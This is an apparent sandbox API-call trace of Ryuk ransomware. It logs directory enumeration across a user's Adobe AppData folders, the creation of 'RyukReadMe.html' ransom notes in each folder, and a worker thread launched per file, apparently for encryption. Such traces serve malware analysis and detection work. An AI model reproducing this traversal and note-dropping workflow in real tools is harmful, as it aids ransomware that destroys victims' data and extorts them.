	[0245.462] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd6, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0245.462] SetLastError (dwErrCode=0x0) 
	[0245.462] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8
	[0245.462] GetLastError () returned 0xb7
	[0245.462] CloseHandle (hObject=0x3c8) returned 1
	[0245.462] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0245.463] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.463] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0xe0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
	[0245.463] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0245.468] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.469] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.469] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0245.469] FindClose (in: hFindFile=0x3ef790 | out: hFindFile=0x3ef790) returned 1
	[0245.469] SetLastError (dwErrCode=0x0) 
	[0245.469] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8
	[0245.469] GetLastError () returned 0xb7
	[0245.469] CloseHandle (hObject=0x3c8) returned 1
	[0245.469] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xd6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.469] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xd6, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
	[0245.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0245.517] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.627] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xd6, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
	[0245.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0245.759] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.760] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xd6, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0
	[0245.760] FindClose (in: hFindFile=0x3ef730 | out: hFindFile=0x3ef730) returned 1
	[0245.760] SetLastError (dwErrCode=0x0) 
	[0245.760] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8
	[0245.760] GetLastError () returned 0xb7
	[0245.760] CloseHandle (hObject=0x3b8) returned 1
	[0245.760] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.761] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0245.761] FindClose (in: hFindFile=0x3ef6d0 | out: hFindFile=0x3ef6d0) returned 1
	[0245.761] SetLastError (dwErrCode=0x0) 
	[0245.761] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.761] GetLastError () returned 0xb7
	[0245.761] CloseHandle (hObject=0x384) returned 1
	[0245.761] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0245.761] SetLastError (dwErrCode=0x0) 
	[0245.761] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.762] GetLastError () returned 0xb7
	[0245.762] CloseHandle (hObject=0x384) returned 1
	[0245.762] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef6d0
	[0245.762] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.762] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0xc6, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1
	[0245.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0245.805] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.806] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0245.806] SetLastError (dwErrCode=0x0) 
	[0245.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0245.807] GetLastError () returned 0xb7
	[0245.807] CloseHandle (hObject=0x3d4) returned 1
	[0245.807] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0245.807] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.808] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xd2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.808] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0xd2, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1
	[0245.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0245.814] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.814] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xd2, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1
	[0245.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0245.818] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.819] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xd2, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0
	[0245.819] FindClose (in: hFindFile=0x3ef730 | out: hFindFile=0x3ef730) returned 1
	[0245.820] SetLastError (dwErrCode=0x0) 
	[0245.820] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0245.820] GetLastError () returned 0xb7
	[0245.820] CloseHandle (hObject=0x3d4) returned 1
	[0245.820] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.820] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0245.820] FindClose (in: hFindFile=0x3ef6d0 | out: hFindFile=0x3ef6d0) returned 1
	[0245.820] SetLastError (dwErrCode=0x0) 
	[0245.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.821] GetLastError () returned 0xb7
	[0245.821] CloseHandle (hObject=0x384) returned 1
	[0245.821] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.821] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0245.821] FindClose (in: hFindFile=0x3ef670 | out: hFindFile=0x3ef670) returned 1
	[0245.821] SetLastError (dwErrCode=0x0) 
	[0245.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.822] GetLastError () returned 0xb7
	[0245.822] CloseHandle (hObject=0x1b4) returned 1
	[0245.822] FindNextFileW (in: hFindFile=0x3ef5b0, lpFindFileData=0x191530 | out: lpFindFileData=0x191530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0245.822] SetLastError (dwErrCode=0x0) 
	[0245.822] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0245.822] GetLastError () returned 0xb7
	[0245.822] CloseHandle (hObject=0x1b4) returned 1
	[0245.822] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\*.*", lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef670
	[0245.823] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
